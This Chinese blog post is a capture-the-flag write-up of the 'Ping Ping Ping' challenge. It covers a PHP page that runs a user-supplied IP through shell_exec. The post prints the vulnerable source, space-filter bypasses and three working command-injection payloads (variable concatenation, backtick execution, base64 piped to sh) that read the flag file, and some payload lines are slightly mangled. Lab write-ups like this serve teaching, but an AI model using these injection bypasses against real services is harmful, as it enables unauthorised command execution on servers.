

# BUUCTF之Ping Ping Ping

原创

金 卓  已于 2022-02-20 19:22:34 修改  1418  收藏 1

分类专栏: [BUUCTF之WEB](#) 文章标签: [web安全](#) [linux](#) [php](#)

于 2022-02-20 19:22:05 首次发布

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/l2872253606/article/details/123029976>

版权



[BUUCTF之WEB](#) 专栏收录该内容

10 篇文章 1 订阅

订阅专栏

目录

审题

常用的空格绕过方法

解决方法

法一 拼接绕过法

法二 内联执行法

法三 sh编码绕过法

## 审题

点开链接

```
/?ip=
```

根据题目提示随便试试构造payload

```
inurl?ip=666
```



```
/?ip=
```

```
PING 666 (0.0.2.154): 56 data bytes
```

有返回, 参数ip的值就是要ping的内容

这里我们知道有Windows和Linux通用的命令分隔符%0a、|、&、;

; : 命令1 ; 命令2	——先执行命令1再执行命令2
& : 命令1 & 命令2	——先执行命令1再执行命令2
 : 命令1   命令2	——只执行命令2

先试试看Windows特有的命令dir，使用分隔符|

构造payload ， `inurl?ip=127.0.0.1 | dir`



emmm，好像是空格符被过滤掉了，把空格符删去再试试看



没反应，操作系统应该不是Windows了，输入命令ls，查看当前目录的文件



找到了放flag的文件，但是要打开该文件得用到命令cat flag.php ， 必须绕过空格过滤

## 常用的空格绕过方法

```

$IFS

$IFS$6          ——后面的数字6换成其他数字也行

${IFS}

<

<>

{cat,flag.php}  ——这里把， 替换成了空格键

%20             ——代表space键

%09             ——代表Tab键

```

不着急，先试着打开index.php查看过滤方法

使用命令 `cat$IFS$6index.php`

接着查看网站源码

```

1 /?ip=
2 <pre>/?ip=
3 <?php
4 if(isset($_GET['ip'])) {
5     $ip = $_GET['ip'];
6     if(preg_match("/\&|\|\/|\?|\*|\<|[\x{00}-\x{1f}]/|\>|\'|\"|\\\\|\\(|\\)|\\[|\\]|\\{|\\}|\\}/", $ip, $match)){
7         echo preg_match("/\&|\|\/|\?|\*|\<|[\x{00}-\x{20}]/|\>|\'|\"|\\\\|\\(|\\)|\\[|\\]|\\{|\\}|\\}/", $ip, $match);
8         die("fxck your symbol!");
9     } else if(preg_match("/ /", $ip)){
10        die("fxck your space!");
11    } else if(preg_match("/bash/", $ip)){
12        die("fxck your bash!");
13    } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
14        die("fxck your flag!");
15    }
16    $a = shell_exec("ping -c 4 ".$ip);
17    echo "<pre>";
18    print_r($a);
19 }
20
21 ?>
22

```

what's up 好多绕过的方法都被过滤了

## 解决方法

### 法一 拼接绕过法

这个方法主要是绕过对flag正则匹配的检测，有点悬，目前好像只能拼接末尾的glaglag，我也不太清楚为啥将lag替换成x，绕过对flag的正匹检测，构建payload

```
inurl?ip=127.0.0.1;x=lag;cat$IFS$6f$x.php
```

## 查看网站源码后得到flag

```
view-source:http://9cc480cb-3531-4513-9da4-acdb0acbe891.node4.buuoj.cn:81/?ip=127.0.0.1;x=lag;cat$IFS$6f$x.php
1 /?ip=
2 <pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
3 <?php
4 $flag = "flag{20e97e53-dc5b-42d1-b810-eee886ad9f55}";
5 ?>
6
```

## 法二 内联执行法

可以看到代码没有过滤掉符号`，所以可以利用内联执行的方式直接打开flag文件

先执行命令ls，再把ls得到的文件名全部用命令cat打开，构建payload

```
inurl?ip=127.0.0.1;cat$IFS$6`ls`
```

## 再查看源码后拿到flag

```
view-source:http://9cc480cb-3531-4513-9da4-acdb0acbe891.node4.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$6`ls`
1 /?ip=
2 <pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
3 <?php
4 $flag = "flag{20e97e53-dc5b-42d1-b810-eee886ad9f55}";
5 ?>
6 /?ip=
7 <?php
8 if(isset($_GET['ip'])){
9     $ip = $_GET['ip'];
10    if(preg_match("/\&|\||\?|\*|\/|<|[\x{00}-\x{1f}]/", $ip) || preg_match("/\|'\"|\\(|\\)|\\[|\\]|\\{|\\}/", $ip, $smatch)){
11        echo preg_match("/\&|\||\?|\*|\/|<|[\x{00}-\x{20}]/", $ip, $smatch);
12        die("fxck your symbol!");
13    } else if(preg_match("/ /", $ip)){
14        die("fxck your space!");
15    } else if(preg_match("/bash/", $ip)){
16        die("fxck your bash!");
17    } else if(preg_match("/.*f.*l.*a.*g.*./", $ip)){
18        die("fxck your flag!");
19    }
20    $a = shell_exec("ping -c 4 ".$ip);
21    echo "<pre>";
22    print_r($a);
23 }
24
25 ?>
26
```

## 法三 sh编码绕过法

使用方法

echo 命令编码|base64 -d|sh

- sh可以换成bash，但是题目过滤掉了
- 也可以换成其他的编码形式，这里用base64的
- 空格用\$IFS\$6替换掉
- cat flag.php 的base64编码为Y2F0IGZsYWcucGhw

构造payload ， 相当于执行命令cat flag.php

```
inurl?ip=127.0.0.1;echo$IFS$6Y2F0IGZsYWcucGhw|base64$IFS$6-djsh
```

再查看网站源码，拿到flag

```
view-source:http://9cc480cb-3531-4513-9da4-acdb0acbe891.node4.buuoj.cn:81/?ip=127.0.0.1;echo$IFS$6Y2F0IGZsYWcucGhw|base64$IFS$6-djsh
攻防世界 学习资源 - CTF Wiki 【i春秋】-专注网络安... 首页 - Bugku CTF BUUCTF在线评测 Pangolin CTF CTFHub 墨者学院_专注于网络...
1 /?ip=
2 <pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
3 <?php
4 $flag = "flag{20e97e53-dc5b-42d1-b810-eee886ad9f55}";
5 ?>
6
```

参考文章：

[\[GXYCTF2019\]Ping Ping Ping\\_satasun的博客-CSDN博客](#)

[\[GXYCTF2019\]Ping Ping Ping {命令执行总结}\\_昂首下楼梯的博客-CSDN博客](#)

[linux常见绕过方法\\_wojiushilsy的博客-CSDN博客](#)

[Linux/CTF命令注入及绕过\\_Mr\\_Shilyang的博客-CSDN博客\\_linux命令注入绕过](#)